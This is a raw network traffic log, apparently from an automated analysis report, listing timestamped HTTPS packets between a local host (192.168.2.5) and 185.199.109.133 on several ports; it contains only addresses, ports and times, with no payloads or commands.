Sep 16, 2024 08:23:15.771888971 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.771898985 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.771941900 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.771972895 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.771972895 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.771989107 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.772028923 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.772057056 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.772063017 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.772105932 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.772128105 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.772243977 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.772260904 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.772336960 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.847410917 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.847831011 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.919425964 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.919529915 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.979432106 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.979491949 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.001319885 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.001353979 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.001374006 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.001379967 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.001514912 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.001524925 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.001552105 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.001632929 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.207417965 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.207462072 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.283417940 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.283483982 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.347449064 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.347553015 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.411427021 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.411492109 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.547013044 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.547035933 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.547055006 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.547069073 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.547146082 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.547153950 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.547163963 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.547188044 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.547194958 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.547213078 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.547219038 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.547329903 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.560100079 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.560132980 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.560157061 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.560178041 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.560214043 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.560239077 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.560266018 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.560298920 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.648473024 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.648507118 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.648538113 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.648556948 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.648606062 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.648622036 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.648679018 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.648693085 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.648720980 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.648765087 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.648765087 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.648818970 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.648823977 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.648863077 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.648902893 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.648919106 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.648964882 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.648982048 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.648997068 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.649046898 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.649085999 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.681441069 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.681466103 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.681540966 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.696729898 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.696743965 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.696768045 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.696818113 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.696830988 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.696861029 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.696877956 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.696918011 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.696942091 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.696958065 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.696978092 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.697006941 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.697006941 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.697006941 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.697025061 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.697066069 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.697086096 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.697108984 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.697127104 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.697139025 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.697169065 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.697202921 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.697202921 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.697232008 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.697268009 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.697284937 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.697356939 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.697385073 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.751413107 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.751481056 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.855446100 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.855532885 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.857548952 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.857569933 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.857599974 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.857609034 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.857677937 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.857686996 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.857727051 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.857733011 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.857767105 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.857811928 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:16.907401085 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:16.907448053 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.067423105 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.067492962 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.279391050 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.280611992 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.339425087 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.342312098 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.345408916 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.345443964 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.345465899 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.345480919 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.345571995 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.345582008 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.345596075 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.345602989 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.345756054 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.372725964 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.372781038 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.372814894 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.372869968 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.372917891 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.449490070 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.449513912 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.449546099 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.449575901 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.449605942 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.449619055 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.449657917 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.449672937 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.449708939 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.449736118 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.449748039 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.449804068 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.449817896 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.449886084 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.449929953 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.527268887 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.527302980 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.527369022 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.552988052 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553009033 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553030968 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553081989 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553095102 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553127050 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553138018 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553174973 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553200006 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553200006 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553215027 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553251028 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553286076 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553307056 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553348064 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553378105 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553426981 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553467035 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553467989 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553524017 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553529978 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553529978 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553570032 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553585052 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553608894 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553661108 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.553675890 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.553762913 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.555397987 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.655404091 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.659832001 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.711549044 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.733772039 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.733793020 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733808994 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733839989 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733851910 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733865023 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733880997 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733894110 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.733910084 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733921051 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733942986 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733954906 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.733961105 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733973026 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.733999014 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.734016895 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.734024048 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.734070063 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.734086037 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.763427973 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.764134884 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.951409101 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.951410055 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:17.951462984 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:17.952635050 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.036300898 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.036318064 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.036336899 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.036348104 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.036365032 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.036390066 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.036413908 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.036423922 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.036433935 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.036451101 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.036557913 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.063024998 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.063097954 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.063210964 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.182337999 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.182401896 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.182441950 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.182473898 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.182516098 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.182533979 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.182574034 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.182590008 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.182634115 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.182672977 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.182682991 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.182777882 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.182795048 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.182918072 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.182955980 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.203433037 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.203502893 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239006996 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239065886 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239098072 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239140034 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239171982 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239188910 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239224911 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239264011 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239264011 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239279985 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239332914 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239373922 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239373922 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239408970 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239459038 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239485979 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239511967 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239561081 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239634991 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239773035 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.239793062 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.239903927 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.247450113 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.247514009 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.387434959 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.387526035 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.433939934 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.433963060 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.433990955 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.434000969 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.434031963 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.434087992 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.434113026 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.434123039 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.434140921 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.434190035 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.434217930 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.434272051 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.447427988 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.447504997 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.643409967 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.643476963 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.811414957 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.811466932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.860090971 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.860110998 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.860122919 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.860127926 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.860229969 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.860235929 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.860251904 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.860284090 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.860287905 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.860294104 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.860332012 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.860342026 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.860378981 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.860383034 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.860413074 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.860440016 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.875431061 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.875508070 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.886383057 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.886429071 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.886461973 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.886514902 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.886557102 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.937011003 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.937030077 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.937045097 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.937063932 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.937083006 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.937089920 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.937170029 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.937177896 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.937191963 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.937226057 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.937238932 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.937254906 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.937299013 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:18.937304974 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.937329054 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:18.937355995 CEST	49738	443	192.168.2.5	185.199.109.133
